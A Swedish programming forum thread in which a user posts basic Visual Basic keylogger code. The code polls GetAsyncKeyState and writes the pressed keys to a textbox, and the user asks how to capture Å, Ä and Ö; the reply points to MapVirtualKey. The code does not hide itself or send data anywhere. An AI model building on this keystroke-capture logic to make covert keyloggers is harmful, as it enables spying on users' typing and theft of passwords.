webForumDet fria alternativet

Vill få fram svenska tecken så som ÅÄÖ til len keylogger (VB)

Programmering

1 svar · 2 320 visningar · startad av Mycodez

Medlem sedan feb. 2010445 inlägg
Frågan#1

Jag håller på att göra ett keylogger i vb till mitt data system här hemma. Inte för olagligheter! Jag har ett litet program i Visual Basic. hur kan jag göra för att få fram ÅÄÖ t.ex. min kod jag har nu ser ut så hära: ett krav det ska funka med Windows7/vista/XP.

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Dim asciicode As Integer
    Dim taste As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            taste = GetAsyncKeyState(i)
            If taste = -32767 Then
                Me.TextBox1.Text &= Chr(i)
            End If
        Next
    End Sub
End Class

Så där min kod ut. Hoppas den hjälper er!

Medlem sedan feb. 200711 inlägg
#2

Du blandar ihop begreppen tangentkoder (keyboard scancodes) och teckenkoder (t ex ASCII, Unicode etc). Du behöver använda en funktion som översätter mellan dessa, t ex API-funktionen MapVirtualKey.

257 ms totalt · 4 externa anrop · v20260731065814-full.86ec41c2
125 ms — deklarationer (db)
0 ms — hämta statistik (cache)
129 ms — hämta tråd, inlägg och bilagor (db)
119 ms — ändringar (db)